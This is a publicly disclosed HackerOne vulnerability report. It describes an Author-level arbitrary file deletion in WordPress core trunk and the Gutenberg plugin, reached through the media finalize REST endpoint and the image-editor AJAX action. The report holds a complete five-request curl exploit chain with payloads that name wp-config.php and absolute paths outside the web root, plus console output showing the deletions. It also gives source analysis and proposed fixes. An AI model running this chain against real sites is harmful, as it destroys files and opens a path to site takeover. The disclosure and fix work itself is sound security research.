HexBrain

WordPress · Report #3931777

Author → arbitrary file deletion anywhere on disk (site takeover) via `POST /wp/v2/media/<id>/finalize` poisoning `_wp_attachment_metadata`

Validstatus
criticalseverity
48upvotes
28 Aug 2026disclosed

How it was found

Description:

The client-side-media-processing endpoint POST /wp/v2/media/<id>/finalize writes attacker-supplied strings verbatim into the attachment's _wp_attachment_metadata, including the top-level file key and sizes[*]['file']. There is no sanitize_callback, no pattern, no sanitize_file_name(), no basename check anywhere on that path.

wp_delete_attachment_files() has exactly one branch — the $backup_sizes branch — that derives both the file to delete and the directory used to confine the deletion from $meta['file']. Because the attacker controls $meta['file'], the wp_delete_file_from_directory() containment check compares the target against a directory the attacker also chose, so the guard is a no-op. Every other branch derives its confinement directory from get_attached_file() and is correctly confined; only this one is not.

The $backup_sizes array is populated by wp_ajax_image_editor() (edit_post + a nonce that WordPress prints to the Author itself in the media popup), which copies the attacker's poisoned sizes[*] entry into the protected _wp_attachment_backup_sizes meta verbatim.

Net effect: an Author deletes any file the PHP process can unlink, anywhere on disk.

Root cause with real file:line and verbatim code

1. Route + gate

gutenberg/lib/media/class-gutenberg-rest-attachments-controller.php:150-154 (core trunk: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:166-170):

			'/' . $this->rest_base . '/(?P<id>[\d]+)/finalize',
			array(
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'finalize_item' ),
					'permission_callback' => array( $this, 'edit_media_item_permissions_check' ),

edit_media_item_permissions_check() = current_user_can( 'upload_files' ) + update_item_permissions_check() (edit_post on the attachment). An Author satisfies both on its own upload.

Default-on in core trunk — wp-includes/media.php:6579-6591:

function wp_is_client_side_media_processing_enabled(): bool {
	// This is due to SharedArrayBuffer requiring a secure context.
	$host    = strtolower( (string) strtok( $_SERVER['HTTP_HOST'] ?? '', ':' ) );
	$enabled = ( is_ssl() || 'localhost' === $host || str_ends_with( $host, '.localhost' ) );
	...
	return (bool) apply_filters( 'wp_client_side_media_processing_enabled', $enabled );

i.e. every HTTPS production site. In the released Gutenberg plugin the gate is unconditional — gutenberg/lib/compat/wordpress-7.1/media.php:18-27:

function gutenberg_is_client_side_media_processing_enabled() {
	/**
	 * Filters whether client-side media processing is enabled.
	 * ...
	 */
	return apply_filters( 'wp_client_side_media_processing_enabled', true );
}

2. Unsanitized write primitive

gutenberg/lib/media/class-gutenberg-rest-attachments-controller.php:749-845 (finalize_item()):

			if ( 'original' === $image_size || 'scaled' === $image_size ) {
				// Skip malformed entries so a bad payload cannot blank out the
				// main file metadata.
				if ( empty( $sub_size['file'] ) ) {
					continue;
				}
				...
				$metadata['file']     = $sub_size['file'];      // :806  <-- top-level path, verbatim

and, for regular sizes:

				$metadata['sizes'][ $image_size ] = array(       // :838
					'width'     => $sub_size['width'] ?? 0,
					'height'    => $sub_size['height'] ?? 0,
					'file'      => $sub_size['file'] ?? '',     // <-- per-size filename, verbatim
					'mime-type' => $sub_size['mime_type'] ?? '',
					'filesize'  => $sub_size['filesize'] ?? 0,
				);
			}
		}
		...
		wp_update_attachment_metadata( $attachment_id, $metadata );

The schema for sub_sizes[].file is only array( 'type' => 'string' ) — no pattern, no sanitize_callback. wp_update_attachment_metadata() writes the array straight to post meta; there is no register_meta() sanitize callback and no core filter touching it.

Identical code in core trunk at wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:2828 onwards (:2885 for file, :2923 for sizes[*]['file']).

3. Laundering the poisoned size into protected meta

wp-admin/includes/ajax-actions.php:2688-2695 (wp_ajax_image_editor()):

	$attachment_id = (int) $_POST['postid'];
	if ( empty( $attachment_id ) || ! current_user_can( 'edit_post', $attachment_id ) ) {
		wp_die( -1 );
	}
	check_ajax_referer( "image_editor-$attachment_id" );

Only edit_post + a nonce — and WordPress prints that exact nonce to the Author in the media popup, wp-admin/includes/media.php:1702:

		$image_edit_button = "<input type='button' id='imgedit-open-btn-$post->ID' onclick='imageEdit.open( $post->ID, \"$nonce\" )' class='button' value='" . esc_attr__( 'Edit Image' ) . "' /> <span class='spinner'></span>";

Observed:

$ curl -s -b author.jar "http://localhost:8356/wp-admin/media-upload.php?tab=library" | grep -oE "imageEdit\.open\([^)]*\)"
imageEdit.open( 8, "72cf52ebf1" )

wp-admin/includes/image-edit.php:1057,1105-1107,1134 then does:

			$sizes = get_intermediate_image_sizes();          // :1057  (target=all)
...
				if ( $tag ) {
					$backup_sizes[ $tag ] = $meta['sizes'][ $size ];   // :1106  verbatim copy
				}
...
		update_post_meta( $post_id, '_wp_attachment_backup_sizes', $backup_sizes );   // :1134

4. Sink — the only unconfined branch of wp_delete_attachment_files()

wp-includes/post.php:6846-6860 (released 7.0.2 — byte-identical in trunk at :7023-7037), reached from wp_delete_attachment():

	if ( is_array( $backup_sizes ) ) {
		$del_dir = path_join( $uploadpath['basedir'], dirname( $meta['file'] ) );      // attacker-controlled DIRECTORY

		foreach ( $backup_sizes as $size ) {
			$del_file = path_join( dirname( $meta['file'] ), $size['file'] );          // attacker-controlled TARGET

			if ( ! empty( $del_file ) ) {
				$del_file = path_join( $uploadpath['basedir'], $del_file );

				if ( ! wp_delete_file_from_directory( $del_file, $del_dir ) ) {
					$deleted = false;
				}
			}
		}
	}

path_join() returns $path unchanged whenever it is absolute:

function path_join( $base, $path ) {
	if ( path_is_absolute( $path ) ) {
		return $path;
	}
	return rtrim( $base, '/' ) . '/' . $path;
}

and wp_delete_file_from_directory() only checks

	if ( false === $real_file || false === $real_directory
		|| ! str_starts_with( $real_file, trailingslashit( $real_directory ) ) ) {
		return false;
	}

Since $real_directory is derived from the same attacker-controlled $meta['file'] as $real_file, the containment test always passes. Compare the sizes, original_image, source_image and animated_video* branches in the same function — they all build their confinement directory from $file = get_attached_file(), which the attacker does not control. Only the $backup_sizes branch is broken.

Steps To Reproduce:

Lab: cp -a of the clean WordPress 7.0.2 template + Gutenberg 23.6.0 activated, own DB media356, php -S 127.0.0.1:8356, base URL http://localhost:8356. Users admin, author1 (Author), contrib1 (Contributor). Auth = author1's own application password — no administrator involvement.

AP=<author1 application password>
B=http://localhost:8356

# [1] Author uploads a real JPEG
curl -u "author1:$AP" -H "Content-Disposition: attachment; filename=zap4.jpg" \
     -H "Content-Type: image/jpeg" --data-binary @zap.jpg \
     -X POST "$B/?rest_route=/wp/v2/media"                       # 201, id=8

# [2] Poison one sub-size filename with the name of the file to destroy
curl -u "author1:$AP" -X POST -H "Content-Type: application/json" \
  -d '{"sub_sizes":[{"image_size":"thumbnail","file":"wp-config.php",
        "width":150,"height":150,"mime_type":"image/jpeg","filesize":1}]}' \
  "$B/?rest_route=/wp/v2/media/8/finalize"                        # 200

# [3] Read the image_editor-8 nonce WordPress prints to the Author, then launder
#     the poisoned entry into the protected _wp_attachment_backup_sizes meta
curl -b author.jar "$B/wp-admin/media-upload.php?tab=library"     # imageEdit.open( 8, "72cf52ebf1" )
curl -b author.jar -X POST "$B/wp-admin/admin-ajax.php" \
  -d 'action=image-editor&_ajax_nonce=72cf52ebf1&postid=8&do=save&target=all' \
  --data-urlencode 'history=[{"r":90}]'                           # 200 {"success":true,...}

# [4] Re-poison the top-level metadata['file'] to escape the uploads root
curl -u "author1:$AP" -X POST -H "Content-Type: application/json" \
  -d '{"sub_sizes":[{"image_size":"original","file":"../../x.jpg",
        "width":600,"height":400,"filesize":1}]}' \
  "$B/?rest_route=/wp/v2/media/8/finalize"                        # 200

# [5] Author deletes its OWN attachment
curl -u "author1:$AP" -X DELETE "$B/?rest_route=/wp/v2/media/8&force=true"   # 200

Proof (real quoted output)

A. wp-config.php destroyed; the site is handed to the unauthenticated installer

Literal console output of the run above:

upload HTTP 201
id=8
finalize1 HTTP 200
imageEdit.open( 8, "72cf52ebf1" )
image_editor-8 nonce = 72cf52ebf1
ajax HTTP 200
{"success":true,"data":{"fw":400,"fh":600,"thumbnail":"http:\/\/localhost:8356\/wp-content\/uploads\/2026\/07\/zap4-e1785187084677-150x150.jpg","msg":"Image saved"}}
array (
  'full-orig' =>
  array (
    'width' => 600,
    'height' => 400,
    'filesize' => 4607,
    'file' => 'zap4.jpg',
  ),
  'thumbnail-orig' =>
  array (
    'width' => 150,
    'height' => 150,
    'file' => 'wp-config.php',        <-- poisoned entry laundered into _wp_attachment_backup_sizes
    'mime-type' => 'image/jpeg',
    'filesize' => 1,
  ),
  'medium-orig' =>
  array (
    'file' => 'zap4-300x200.jpg',
    'width' => 300,
    'height' => 200,
    'mime-type' => 'image/jpeg',
    'filesize' => 1749,
  ),
)
finalize2 HTTP 200
=== before ===
0bb7f2692557e2187ad3fcfc58366c60  wp/wp-config.php
delete HTTP 200
=== after ===
ls: cannot access 'wp/wp-config.php': No such file or directory
GET / -> 302 redirect: http://localhost:8356/wp-admin/setup-config.php

(The file was restored from a backup afterwards; md5sum matched 0bb7f2692557e2187ad3fcfc58366c60 again and GET / returned 200.)

B. The deletion is not confined to the web root at all

Second run, same Author account, absolute path completely outside the document root:

=== victim dir before ===
-rw-rw-r-- 1 kali kali 22 Jul 27 17:15 /home/kali/wphunt/scratch-media356/victimdir/backup.sql

=== step 2: poison thumbnail sub-size filename with the target basename ===
finalize1 HTTP 200
  'thumbnail' =>
  array (
    'width' => 150,
    'height' => 150,
    'file' => 'backup.sql',
    'mime-type' => 'image/jpeg',
    'filesize' => 1,
  ),

=== step 4: re-poison metadata[file] with an absolute path outside the web root ===
finalize2 HTTP 200
file=/home/kali/wphunt/scratch-media356/victimdir/anything.jpg

=== step 5: author deletes their own attachment ===
delete HTTP 200

=== victim dir after ===
total 8
drwxrwxr-x 2 kali kali 4096 Jul 27 17:16 .
drwxrwxr-x 4 kali kali 4096 Jul 27 17:16 ..

victimdir/ is not inside the WordPress installation, not inside wp-content/uploads, and not inside the document root. It is now empty.

C. Negative controls (both executed)

--- contributor -> finalize on author's attachment ---
{"code":"rest_cannot_edit_image","message":"Sorry, you are not allowed to upload media on this site.","data":{"status":403}}
HTTP 403

--- author -> finalize on ADMIN's attachment (10) ---
{"code":"rest_cannot_edit","message":"Sorry, you are not allowed to edit this post.","data":{"status":403}}
HTTP 403

--- author unfiltered_html? ---
author1 unfiltered_html=false
author1 upload_files=true
contrib1 upload_files=false

D. The endpoint does not exist in released core without Gutenberg

$ grep -rn "finalize" wp/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php
(no output)

E. Reproduced independently on WordPress Core trunk with NO plugins

Second, separate lab: cp -a of wordpress-develop/src ($wp_version = '7.1-beta3-62828-src'), own DB trunk357, php -S 127.0.0.1:8357, base URL http://localhost:8357. Only the stock hello plugin exists and it is inactive; the attachment controller is core's own:

$ wp plugin list
name	status	  update	version
hello	inactive	none	1.7.2

$ wp eval 'echo get_post_type_object("attachment")->rest_controller_class; echo "\nversion=".$GLOBALS["wp_version"];'
WP_REST_Attachments_Controller
version=7.1-beta3-62828-src

$ curl -s "http://localhost:8357/?rest_route=/wp/v2" -o r.json
$ python3 -c "import json;d=json.load(open('r.json'));print(sorted(r for r in d['routes'] if 'media' in r))"
['/wp/v2/media', '/wp/v2/media/(?P<id>[\\d]+)', '/wp/v2/media/(?P<id>[\\d]+)/edit',
 '/wp/v2/media/(?P<id>[\\d]+)/finalize', '/wp/v2/media/(?P<id>[\\d]+)/post-process',
 '/wp/v2/media/(?P<id>[\\d]+)/sideload']

Same five requests as author1 (cookie + X-WP-Nonce, i.e. exactly what the block editor uses):

upload HTTP 201
id=7
finalize1 HTTP 200
img nonce=db9ca164f8
ajax HTTP 200
{"success":true,"data":{"fw":400,"fh":600,"thumbnail":"...tz-e1785187541680-150x150.jpg","msg":"I
array (
  'full-orig' =>
  array ( 'width' => 600, 'height' => 400, 'filesize' => 4607, 'file' => 'tz.jpg', ),
  'thumbnail-orig' =>
  array (
    'width' => 150,
    'height' => 150,
    'file' => 'trunk-secret.conf',       <-- attacker-chosen target inside protected meta
    'mime-type' => 'image/jpeg',
    'filesize' => 1,
  ),
  'medium-orig' =>
  array ( 'file' => 'tz-300x200.jpg', 'width' => 300, 'height' => 200, ... ),
)
finalize2 HTTP 200
=== victimdir before ===
-rw-rw-r-- 1 kali kali 21 Jul 27 17:25 /home/kali/wphunt/scratch-trunk357/victimdir/trunk-secret.conf
delete HTTP 200
=== victimdir after ===
total 8
drwxrwxr-x 2 kali kali 4096 Jul 27 17:25 .
drwxrwxr-x 4 kali kali 4096 Jul 27 17:25 ..

The finalize2 payload there, in full — no elision:

{"sub_sizes":[{"image_size":"original",
  "file":"/home/kali/wphunt/scratch-trunk357/victimdir/anything.jpg",
  "width":600,"height":400,"filesize":1}]}

— an absolute path with no relationship to the WordPress installation.

F. Re-executed on a newer trunk revision (7.1-beta3-62852)

That lab auto-updated itself through wp-cron while it was running, from 7.1-beta3-62828-src to 7.1-beta3-62852. I re-ran the whole chain on the newer revision rather than pinning to the stale one, because the report has to still be true when it is triaged:

$ wp eval 'echo $GLOBALS["wp_version"]."\n";'
7.1-beta3-62852

finalize1 HTTP 200
img nonce=63aee89202
ajax HTTP 200
  'thumbnail-orig' =>
array (
  'width' => 150,
  'height' => 150,
  'file' => 'qa-trunk-secret.conf',
  'mime-type' => 'image/jpeg',
  'filesize' => 1,
)
finalize2 HTTP 200
delete HTTP 200
=== victimdir after ===
total 8
drwxrwxr-x 2 kali kali 4096 .
drwxrwxr-x 4 kali kali 4096 ..

Every trunk line number quoted in this report was re-derived against 62852 and is unchanged: class-wp-rest-attachments-controller.php — route :166-170, finalize_item() :2828, $metadata['file'] = $sub_size['file']; :2885, the sizes array :2920-2926 (the file key at :2923), wp_update_attachment_metadata() :2933; wp-includes/media.php:6579-6591; wp-includes/post.php:7023-7037.

Note on authentication for this lab: application passwords are refused over plain HTTP on the trunk install (HTTP 401), so the trunk runs use the Author's ordinary login cookie plus the wp_rest nonce — exactly what the block editor sends. That is a property of my lab being plain HTTP, not a mitigation: on a real HTTPS site both authentication methods reach the same endpoint, and the trunk gate (is_ssl()) is satisfied there by definition.

Affected versions verified

StackAffectedVerified how
WordPress 7.0.2 + Gutenberg 23.6.0 (released)YESFull chain executed over plain HTTP on port 8356
WordPress Core trunk, no plugins — 7.1-beta3-62828-src and 7.1-beta3-62852YESFull chain executed independently on port 8357 on both revisions (see Proof E)
WordPress 7.0.2 without GutenbergnoRoute not registered — grep for finalize in wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php returns nothing

On core trunk the gate is is_ssl() || 'localhost' === $host || str_ends_with( $host, '.localhost' ), i.e. the endpoint is on by default for every HTTPS production site. My trunk lab used Host: localhost:8357, which exercises exactly the same branch of that expression that a real HTTPS site reaches through is_ssl(). The Gutenberg plugin enables the feature unconditionally, so plain HTTP is enough.

Attacker privilege

Author — the lowest role that holds upload_files. Verified:

author1 unfiltered_html=false
author1 upload_files=true
contrib1 upload_files=false

Negative controls, both executed (see Proof): Contributor → HTTP 403 rest_cannot_edit_image; Author against an Administrator-owned attachment → HTTP 403 rest_cannot_edit. So an Author can only do this through an attachment it uploaded itself — which is exactly what the attack needs.

User interaction: None. Fully attacker-driven; five HTTP requests, four of them REST calls authenticated with the Author's own application password.

Honest limits

I would rather state these than have you find them.

  • The re-install step was not executed. I observed wp-config.php gone and GET / -> 302 http://localhost:8356/wp-admin/setup-config.php. Completing the installer would have destroyed the lab database, so "unauthenticated visitor becomes administrator → RCE via the plugin editor" is the well-understood consequence of that state, argued rather than demonstrated. The deletion itself, the destruction of wp-config.php and the hand-off to the installer are all executed and quoted above.
  • The attacker must own the attachment. edit_media_item_permissions_check() is a real check and it works: an Author is refused (403 rest_cannot_edit) against an Administrator's attachment, and a Contributor is refused (403 rest_cannot_edit_image) outright. Both controls are in Proof C. This is not a horizontal-IDOR claim; the attack runs entirely through an attachment the Author uploaded.
  • The laundering step needs the image_editor-<id> nonce. It is not a secret from the attacker — WordPress prints it to the Author itself in the media popup and I quote the exact line that carries it — but it does mean the chain is five requests rather than two, and a site that somehow blocked admin-ajax.php?action=image-editor for Authors would break this particular route into _wp_attachment_backup_sizes. The write primitive in finalize_item() is unaffected either way.
  • S:C is a judgement call. I claim it because a file outside the document root was deleted, which on shared hosting reaches another security authority. If you disagree, the vector is AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8, and nothing in the report depends on which of the two you pick.
  • On core trunk the endpoint is gated by is_ssl() || 'localhost' === $host || …. My trunk lab is plain HTTP on Host: localhost:8357, i.e. the 'localhost' === $host arm. I have therefore not demonstrated it on a non-localhost plain-HTTP trunk install, and I am not claiming it works there — the claim is that it is on by default for every HTTPS site, which is what is_ssl() says. The released Gutenberg plugin has no such gate at all, which is why the released half needs no caveat.
  • I have not attempted to turn the deletion into a write primitive, and I am not claiming one.

Exclusions considered

  • "Open API endpoints serving public data (including usernames and user IDs)." Does not apply. The endpoint is authenticated and gated (upload_files + edit_post), it returns no site data, and the finding is a write/destroy primitive, not a disclosure. The same-client controls in Proof C show the gate is genuinely enforced for callers who do not own the object — this is not an open endpoint.
  • "Users with administrator or editor privileges can post arbitrary JavaScript." Does not apply on two counts: no JavaScript is claimed in this report at all, and the attacker is an Author, with the role evidenced in the proof output rather than asserted — author1 upload_files=true, author1 unfiltered_html=false, contrib1 upload_files=false.
  • "Denial of service." The availability consequence here is not volumetric: it is the deletion of specific, attacker-named files, including wp-config.php. That is arbitrary file deletion (CWE-73), which the program treats as a vulnerability class, not a resource-exhaustion report.
  • "Self-XSS", "text injection", "scanner output" — none claimed.

Relationship to my other report

media-finalize-subsize-filename-admin-xss.md uses the same write primitive (finalize_item() storing sub_sizes[].file verbatim) but is a different vulnerability with a different sink and a different fix: there the value flows into get_media_item() and breaks out of an unescaped src attribute, and the primary fix is an esc_url() in wp-admin/includes/media.php:1716 — an escaping bug that pre-dates this endpoint and is exploitable independently of it. Here the value flows into wp_delete_attachment_files() and the primary fix is in wp-includes/post.php. Please triage them together if that is easier; I filed them separately so that neither of the two distinct fixes is lost.

Recommendations

Two independent defects; both should be fixed.

  1. finalize_item() must not accept path components. In both wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:2828-2933 and gutenberg/lib/media/class-gutenberg-rest-attachments-controller.php:749-845, run every $sub_size['file'] / $sub_size['original_image'] through wp_basename() + sanitize_file_name() and reject values that change:

    $name = wp_basename( (string) $sub_size['file'] );
    if ( '' === $name || $name !== sanitize_file_name( $name ) || $name !== $sub_size['file'] ) {
        return new WP_Error( 'rest_invalid_param', __( 'Invalid file name.' ), array( 'status' => 400 ) );
    }
    

    Add the same as a validate_callback on the file and original_image schema properties, and add an image_size enum validate_callback to finalize as sideload already has.

  2. Harden the sink regardless. wp-includes/post.php:6846-6860 (trunk :7023-7037) must derive the confinement directory from trusted data, not from $meta['file']:

    $intermediate_dir = path_join( $uploadpath['basedir'], dirname( _wp_relative_upload_path( $file ) ) );
    foreach ( $backup_sizes as $size ) {
        $del_file = path_join( $intermediate_dir, wp_basename( $size['file'] ) );
        wp_delete_file_from_directory( $del_file, $intermediate_dir );
    }
    

    This mirrors what every other branch of wp_delete_attachment_files() already does. Consider also making wp_delete_file_from_directory() refuse an absolute $file that is not already inside $directory before realpath(), so a future caller cannot reintroduce the same bug.

  3. Optionally, sanitize on read: have wp_update_attachment_metadata() reject file, original_image, source_image, animated_video* and sizes[*]['file'] values containing /, \ or ...

AI tooling disclosure

Per the program's guidelines and the WordPress AI Guidelines:

AI assistance: Yes — substantial. Tool(s): Claude (Anthropic), used through the Claude Code agentic harness. Used for: source review and candidate-vulnerability search; building and running the local test harnesses; and drafting this report — the prose here is largely AI-authored and subsequently reviewed and corrected by me. Verification: every technical claim was verified by executing it against a local installation. Every quoted output is real observed output, not model narration; claims that did not survive that verification were removed before submission. No production host was contacted. Responsibility: I have reviewed the report in full and take responsibility for its content.

Environment detail for re-running: two private, throwaway installs — released WordPress 7.0.2 with the released Gutenberg 23.6.0 plugin on php -S 127.0.0.1:8356, and a plugin-free wordpress-develop trunk checkout on php -S 127.0.0.1:8357 (7.1-beta3-62828-src, later 7.1-beta3-62852). Every cited file:line was opened and read in the shipped source of the exact version claimed. All output quoted under "Proof" is literal console output, including the negative controls. wp-config.php was restored from a backup immediately after the demonstration and its md5 verified back to 0bb7f2692557e2187ad3fcfc58366c60. No production WordPress.org / WordCamp.org host or any third-party system was contacted at any point.

Prior art / duplicate check

Verdict: known family, novel reachability — no matching public or disclosed report exists for the finalize-endpoint path. Searched: WPScan, Patchstack and the CVE databases for "finalize_item / client-side media processing / wp_delete_attachment_files backup_sizes path traversal", the WordPress 7.0.3 (August 2026) fix list, and the classic 2018 arbitrary-file-deletion CVE.

The closest prior art is CVE-2018-12895 (WordPress <= 4.9.6, "Authenticated Arbitrary File Deletion", fixed in 4.9.7). It shares the sink (wp_delete_attachment_files() -> unlink() on an attacker-influenced _wp_attachment_metadata) and the impact model (delete wp-config.php -> forced re-install -> RCE). It is nevertheless a different bug:

CVE-2018-12895 (2018, fixed 4.9.7)This report
Metadata key abusedthumbfile (feeding the $backup_sizes confinement directory)
Entry pointwp-admin/post.php?action=editattachment ($_POST['thumb'])POST /wp/v2/media/<id>/finalize (REST)
Branch of the sink reachedthumb branch$backup_sizes branch — the only branch whose confinement directory is derived from attacker-controlled $meta['file']
What the 4.9.7 fix didbasename() on the thumb keydoes not touch this branch or this key
Code involvedexisted in 2018finalize_item() ships in released Gutenberg 23.6.0 and core trunk 7.1 — it did not exist in 2018

The 4.9.7 fix is key-specific and does not cover the file key or the $backup_sizes branch. Confirmed not among the 11-12 fixes in WordPress 7.0.3.

HackerOne hacktivity cannot be enumerated without authentication, so an undisclosed duplicate cannot be ruled out with certainty.

Impact

An Author-level account — the lowest role that can upload media, and a role routinely handed to external contributors, freelancers and multi-author blogs — can delete any file the PHP process can unlink, anywhere on disk:

  1. wp-config.php → site takeover. WordPress then redirects every visitor to wp-admin/setup-config.php (observed). The first unauthenticated visitor can point the install at a database they control and become administrator, which reaches RCE through the plugin/theme editor. I observed the redirect; I did not complete the re-install.
  2. .htaccess (removing uploads-directory hardening and PHP-execution blocks), mu-plugin security drop-ins, backups, or any other file the PHP user owns — including, on shared hosting, files belonging to other tenants, since the traversal leaves the uploads root and the document root entirely (proof B).
  3. Destruction of site content and of the installation itself (availability).

No user interaction, no social engineering, five HTTP requests.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original